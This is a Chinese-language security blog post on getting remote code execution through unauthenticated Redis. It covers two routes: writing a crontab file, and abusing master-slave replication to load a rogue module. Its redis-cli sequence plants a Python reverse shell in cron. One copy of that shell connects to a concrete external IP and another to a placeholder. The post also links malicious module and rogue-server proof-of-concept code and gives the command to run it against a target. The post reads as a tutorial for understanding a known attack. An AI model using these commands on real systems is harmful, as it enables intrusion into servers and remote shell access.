Redis 基于主从复制的 RCE 利用方式
在 2019 年 7 月 7 日结束的 WCTF2019 Final 上,LC/BC 的成员 Pavel Toporkov 在分享会上介绍了一种关于 redis 新版本的 RCE 利用方式,比起以前的利用方式来说,这种利用方式更为通用,危害也更大,下面就让我们从以前的 redis RCE 利用方式出发,一起聊聊关于 redis 的利用问题。 https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
通过写入文件 GetShell
未授权的 redis 会导致 GetShell,利用方式如下:
127.0.0.1:6379> config set dir /var/spool/cron/crontabs
OK
127.0.0.1:6379> config set dbfilename root
OK
127.0.0.1:6379> get 1
"\n* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"IP\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n"
127.0.0.1:6379> save
OK
而这种方式是通过写文件来完成 GetShell 的,这种方式的主要问题在于,redis 保存的数据并不是简单的 json 或者是 csv,所以写入的文件都会有大量的无用数据,形似
[padding]
* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"115.28.78.16\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'
[padding]
这种主要利用了 crontab、ssh key、webshell 这样的文件都有一定容错性,再加上 crontab 和 ssh 服务可以说是服务器的标准的服务,所以在以前,这种通过写入文件的 getshell 方式基本就可以说是很通杀了。
但随着现代的服务部署方式的不断发展,组件化成了不可逃避的大趋势,docker 就是这股风潮下的产物之一,而在这种部署模式下,一个单一的容器中不会有除 redis 以外的任何服务存在,包括 ssh 和 crontab,再加上权限的严格控制,只靠写文件就很难再 getshell 了,在这种情况下,我们就需要其他的利用手段了。
通过主从复制 GetShell
Redis 主从复制
Redis 是一个使用 ANSI C 编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个 Redis 的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis 就提供了主从模式,主从模式就是指使用一个 redis 实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲 空间来换取效率的缓解方式。
利用两台 docker 来做测试:
docker search redis5
docker pull damonevking/redis5.0
docker ps
通过 slaveof 可以设置主从状态:
首先在 slave 上设置:
然后在 master 上设置:
在 slave 上,可以发现数据已经同步:
Redis 模块
在了解了主从同步之后,我们还需要对 redis 的模块有所了解。
在 Reids 4.x 之后,Redis 新增了模块功能,通过外部拓展,可以实现在 redis 中实现一个新的 Redis 命令,通过写 c 语言并编译出 .so 文件。
编写恶意 so 文件的代码 https://github.com/RicterZ/RedisModules-ExecuteCommand
git clone 后,进入目录,用 make
命令编译即可获得 .so 库文件。
利用原理
在两个 Redis 实例设置主从模式的时候,Redis 的主机实例可以通过 FULLRESYNC 同步文件到从机上。然后在从机上加载 so 文件,我们就可以执行拓展的新命令了。
漏洞复现
使用模拟的恶意服务端来作为主机,并模拟 fullresync 请求。
https://github.com/LoRexxar/redis-rogue-server
(注:作者利用的是 python3.7 环境成功执行)
然后启用 redis 5.0 的 docker
然后直接通过 POC 来攻击服务端
python3 redis-rogue-server.py --rhost 172.18.0.2 --rport 6379 --lhost 172.18.0.1
(注:在 docker 环境下反弹 shell 会出现问题,因此本文中的 lhost 使用的是 docker 宿主机的内网 IP。作者在使用外网 IP 的时候,会弹出错误)
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
上一篇: MyJSRat 结合 CHM 命令执行
下一篇: 彻底找到 Tomcat 启动速度慢的元凶
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论